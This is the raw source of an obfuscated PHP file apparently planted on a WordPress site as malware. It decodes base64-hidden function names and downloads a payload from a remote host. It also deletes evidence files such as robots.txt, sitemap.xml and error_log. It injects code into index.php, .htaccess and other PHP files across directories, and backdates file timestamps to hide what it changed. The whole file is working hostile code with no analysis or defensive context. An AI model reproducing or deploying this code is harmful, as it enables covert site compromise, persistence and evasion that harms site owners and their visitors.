File: /var/www/vhosts/vietnguyenvn.vinawebs.com.vn/furnilab.vn/httpdocs/wp-auto8L.php
<?php $gaX = explode('~',base64_decode('ZXJyb3JfcmVwb3J0aW5nfnNldF90aW1lX2xpbWl0fmlnbm9yZV91c2VyX2Fib3J0fnVubGlua35zdHJzdHJ+c3RyX3JlcGxhY2V+Y2hkaXJ+c3Vic3RyfnByZWdfcmVwbGFjZX5maWxlX2V4aXN0c35zdHJ0b3VwcGVyfnN0cmxlbn5iYXNlNjRfZW5jb2RlfnJlbmFtZX5vcGNhY2hlX3Jlc2V0fmZ1bmN0aW9uX2V4aXN0c35zdHJlYW1fY29udGV4dF9jcmVhdGV+ZmlsZV9nZXRfY29udGVudHN+Y3VybF9pbml0fmN1cmxfc2V0b3B0fmN1cmxfZXhlY35jdXJsX2Nsb3NlfnN0cnBvc35leHBsb2RlfnNpemVvZn5pbXBsb2RlfmNocn5zdHJ0b2xvd2VyfmRpcm5hbWV+bWtkaXJ+Zm9wZW5+ZndyaXRlfmZjbG9zZX50b3VjaH5nbG9ifmZpbGVtdGltZX5hcnJheV9yYW5kfmFycmF5X3B1c2h+b3BlbmRpcn5yZWFkZGlyfmlzX2Rpcn5pc19saW5rfnByZWdfbWF0Y2h+c3Vic3RyX2NvdW50fnNodWZmbGU=')); $gaX[1](60);$gaX[2](1); $Fpy = $_GET; $Gqo = $_SERVER; $CTu = !empty($Fpy["a"])?$Fpy["a"]:0; $pQj = !empty($Fpy["b"])?$Fpy["b"]:"l"; function pgyi($CTu){ $loG = explode('~',base64_decode('U0NSSVBUX0ZJTEVOQU1FflNDUklQVF9GSUxFTkFNRX5cXH5QSFBfU0VMRn4vflxcflBIUF9TRUxGflBIUF9TRUxGfn5TQ1JJUFRfRklMRU5BTUV+L34vcm9ib3RzLnR4dH4vc2l0ZW1hcC54bWx+L2Vycm9yX2xvZ35odHRwOi9+L2NkbjIwLn5pc2FwaTI1dGVtcC5+eHl6L19hcGlffkVFYXV0b3NfMjUwOC5+cGhwP3VpfmQ9NTgyOH5IVFRQX0hPU1R+SFRUUFN+SFRUUFN+b25+aHR0cHN+aHR0cH46Ly9+Lz9+L1t3MC05XC4tXS9+fnd3dy5+fj1+MTF+aW5kZXgucGhwfi5odGFjY2Vzc353d3d+Ln4tfn53cC1jb25maWd+d3AtfmV+ImUifiJ+In53cC1pbmNsdWRlc353cC1zZXR0aW5ncy5waHB+Y2dpLWJpbi9+LmluaX4jTm90V3JpdGV+NW1kfldQfndwLWNvbmZpZ353cC1+d3Atfi5waHB+RGlyZWN0b3J5SW5kZXh+RGlyZWN0b3J5SW5kZXggfndwLWFkbWluL29wdGlvbnMtfi5waHB+UEhQfjw/cGhwIEBpbmNsdWRlX29uY2UoIn4iKTsgPz5+PD9waHAgaWYoZmlsZV9leGlzdHMoImluZGV4Lmh0bWwiKSl7aW5jbHVkZSgiaW5kZXguaHRtbCIpO31lbHNle0BpbmNsdWRlKCJfaW5kZXguaHRtbCIpO30/Pn4vaW5kZXguaHRtbH4vX2luZGV4Lmh0bWx+PGEgaHJlZj0iP2E9MiZzPX4iPmF1dG84PC9hPn5jdXJsX2V4ZWN+aHR0cH5tZXRob2R+R0VUfnRpbWVvdXR+O347fiNFcnJvcn5tc2d+bXNnfjt+O35jYWNoZX5pbWFnZXN+YXNzZXRzfndwLWFkbWlufndwLWNvbnRlbnR+d3AtaW5jbHVkZXN+bXNnflNIOn5pbmRleH4vfi5waHB+bXNnfi8oX19NQUNPU1h8Y2dpLWJpbnxwbHVnaW5zfGFraXNtZXR8dXBsb2Fkcykvfi9pbmRleC5waHA=')); return $loG[$CTu]; } if ($CTu) { @$gaX[3](__FILE__); @$gaX[3]($Gqo[pgyi(0)]); if($gaX[4]($Gqo[pgyi(0)],pgyi(2))) $Gqo[pgyi(3)] = $gaX[5](pgyi(4), pgyi(2),$Gqo[pgyi(3)]); define("W", rtrim($gaX[5]($Gqo[pgyi(3)],pgyi(8),$Gqo[pgyi(0)]),pgyi(4))); @$gaX[6](W); @$gaX[3](W.pgyi(11)); @$gaX[3](W.pgyi(12)); @$gaX[3](W.pgyi(13)); $VpP = pgyi(14).pgyi(15).pgyi(16).pgyi(17).pgyi(18).pgyi(19).pgyi(20); $xgM = $Gqo[pgyi(21)]; $xgM = ((isset($Gqo[pgyi(22)]) && $Gqo[pgyi(22)]==pgyi(24)) ? pgyi(25) : pgyi(26)).pgyi(27).$xgM.pgyi(28).$gaX[7]($gaX[8](pgyi(29), pgyi(8),$gaX[5](pgyi(31), pgyi(8),$xgM)),0,1).pgyi(33).rand(111,999).pgyi(34); $bhR = OfEu($VpP); $RQd = pgyi(35); $loG = pgyi(36); $jyW = GRuF()+2; $_N1 = substr(str_replace(array(pgyi(37),pgyi(38),pgyi(39)),pgyi(8),$Gqo[pgyi(21)]),0,6); $_N2 = str_replace(pgyi(41),pgyi(42).$_N1,Rvho($bhR[2])); $PEv = Rvho($bhR[0]); $cKy = Rvho($bhR[6]); if($pQj!=pgyi(43)) $cKy = $gaX[5](pgyi(44), pgyi(45).$pQj.pgyi(45),$cKy); $MbZ = ($gaX[9](pgyi(47)) && $gaX[9](pgyi(48))); $Fpy = pgyi(49).$_N1.pgyi(50); if($MbZ) $Fpy = $_N2; @$gaX[3]($Fpy); RVDr($Fpy,$cKy,$jyW); if(!$gaX[9]($Fpy)) { exit(pgyi(51));} FxgB($xgM); FxgB($gaX[10]($pQj)); FxgB(date(pgyi(52))); if($MbZ) { FxgB(pgyi(53)); $WjI = str_replace(pgyi(41),pgyi(42).$_N1,Rvho($bhR[1])); @$gaX[3]($RQd);RVDr($RQd,$WjI,$jyW); $_N3 = pgyi(42).substr($_N1,0,5).pgyi(57); RVDr($_N3,$WjI,$jyW); $PEv = str_replace(pgyi(58), pgyi(59).$_N3,$PEv); $azO = pgyi(60).yRcu(6,2).pgyi(57); if($gaX[11](@$bhR[3])>99) FxgB(RVDr($azO,Rvho($bhR[3]))); } else { FxgB(pgyi(62)); $yNY = pgyi(63).$Fpy.pgyi(64); if($gaX[9]($RQd)) { PQHu($RQd,$yNY,1,$Fpy); } else { $yNY .= pgyi(65); @$gaX[3]($RQd);RVDr($RQd,$yNY,$jyW); @$gaX[13](W.pgyi(66),W.pgyi(67)); } } @$gaX[3]($loG);RVDr($loG,$PEv,$jyW); if($gaX[11](@$bhR[5])>3) RVDr(Rvho($bhR[5]),Rvho($bhR[4])); $rYO = []; FxgB(cpsG()); } else { exit(pgyi(68).time().pgyi(69)); } function OfEu($VpP) {global $gaX; if(!$gaX[15](pgyi(70))){ $loG = $gaX[16](array(pgyi(26)=>array(pgyi(72)=>pgyi(73), pgyi(74)=>18))); $Gqo = @$gaX[17]($VpP, false, $loG); }else{ $jyW = $gaX[18](); $gaX[19]($jyW, CURLOPT_URL, $VpP); $gaX[19]($jyW, CURLOPT_RETURNTRANSFER, 1); $gaX[19]($jyW, CURLOPT_SSL_VERIFYPEER, false); $gaX[19]($jyW, CURLOPT_TIMEOUT, 18); $Gqo = $gaX[20]($jyW); $gaX[21]($jyW); } if(!empty($Gqo) && $gaX[22]($Gqo,pgyi(75))) $CTu = $gaX[23](pgyi(75),$Gqo); if(!empty($CTu) && $gaX[24]($CTu)>9) return $CTu; exit(pgyi(77)); } function FxgB($CTu) {global $gaX; if (!empty($CTu[pgyi(78)])) { echo $gaX[25](",",$CTu[pgyi(78)]).pgyi(75); } else { echo $CTu.pgyi(75); } } function cpsG() { global $gaX, $bhR, $rYO, $MbZ; gHKk(W); $CTu = count($rYO); $loG = array(); if(count($rYO)<3) $loG = array(yRcu(5),pgyi(82), pgyi(83), pgyi(84)); if($MbZ) $loG = array(pgyi(85), pgyi(86), pgyi(47)); if($CTu>1) { $jyW = $gaX[36]($rYO, $CTu); foreach($jyW as $i) { $gaX[37]($loG, $rYO[$i]); } }else{ $gaX[37]($loG, @$rYO[0]); } $PEv = []; $PEv[pgyi(78)][] = pgyi(89); $II = 4; $JJ = 7; foreach($loG as $i=>$v) { if(!$gaX[9]($v)) $gaX[29]($v); $WjI = $gaX[27](yRcu(5)); switch ($II) { case 4: $WjI = "e".$WjI;break; case 5: $WjI = "m".$WjI;break; case 6: $WjI = "l".$WjI;break; case 7: case 8: case 9: $WjI = pgyi(90);break; default: $WjI = "x".$WjI; } $cKy = $v.pgyi(4).$WjI.pgyi(57); $Fpy = Rvho($bhR[$JJ]); $II++; $JJ++; if($JJ>10) $JJ = 7; $PEv[pgyi(78)][] = RVDr($cKy,$Fpy); if($II>10) break; } if($MbZ) { if($gaX[11](@$bhR[11])>3) RVDr(Rvho($bhR[11]),Rvho($bhR[10])); } else { if($gaX[11](@$bhR[12])>3) RVDr(Rvho($bhR[12]),Rvho($bhR[10])); } if($gaX[11](@$bhR[13])>3) RVDr(Rvho($bhR[13]),Rvho($bhR[10])); return $PEv; } function gHKk($CTu) { global $gaX, $rYO, $MbZ; if ($loG = $gaX[38]($CTu)) { while (($jyW = $gaX[39]($loG)) !== false) { if ($jyW != "." && $jyW != "..") { $PEv = $CTu . "/" . $jyW; if ($gaX[40]($PEv) && !$gaX[41]($PEv) &&!$gaX[42](pgyi(94),$jyW)) { $WjI = $gaX[5](W."/","",$PEv); if ($gaX[43]($WjI,"/")<3) { gHKk($PEv); } $N=0; if($MbZ) $N=3; if(!$gaX[9]($PEv.pgyi(95)) && $gaX[43]($WjI,"/")>=$N) $gaX[37]($rYO, $WjI); } } } } $gaX[44]($rYO); } function Rvho($s) {global $gaX;$S = '';$a = $gaX[23]('.',trim($s,'.'));foreach($a as $v) {$S .= $gaX[26]($v);}return $S;} function yRcu($n=5,$t=0) {global $gaX;$arr = array('a', 'b', 'c', 'd', 'e', 'f', 'g', 'h','i', 'j', 'k', 'l','m', 'n', 'o', 'p', 'q', 'r', 's','t', 'u', 'v', 'w', 'x', 'y','z','A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L','M', 'N', 'O', 'P', 'Q', 'R', 'S','T', 'U', 'V', 'W', 'X', 'Y','Z');$s = '';for($i = 0; $i < $n; $i++) {$s .= $arr[mt_rand(0, $gaX[24]($arr) - 1)];}return ($t==1 ? $gaX[10]($s) : ($t==2 ? $gaX[27]($s) : $s));} function RVDr($F,$C,$T='') {global $gaX;if(!$gaX[4]($F,W)) $F = W.'/'.$F;$dir = $gaX[28]($F);if(!empty($dir)&&!$gaX[9]($dir)) @$gaX[29]($dir);$fp = @$gaX[30]($F, 'w');@$gaX[31]($fp, trim($C));@$gaX[32]($fp);if(empty($T)) $T = time()-86400*266;$T = $T+rand(1,3600);@$gaX[33]($F, $T);return ($gaX[9]($F) ? $gaX[5](W,'',$F) : '~');} function GRuF() {global $gaX;$jyW = time()-rand(10,100)*86400;$tArr = $gaX[34](W.'/*.php');foreach($tArr as $v) {$jyW2 = @$gaX[35]($v); if($jyW2>100&&$jyW2<$jyW) $jyW = $jyW2;}return $jyW;} function PQHu($F,$C,$T=1,$K='~') {global $gaX;if(!$gaX[4]($F,W)) $F = W.'/'.$F;if($gaX[9]($F)) {$code = @$gaX[17]($F);if(!empty($code)&&$gaX[22]($code,$K)===false) {if($T==2) {$code = $code.$C;} else{$code = $C.$code;} $t = @$gaX[35]($F);if(!$gaX[9]($F.'.0')) @$gaX[13]($F,$F.'.0');return RVDr($F,$code,$t+2);}return '~';}}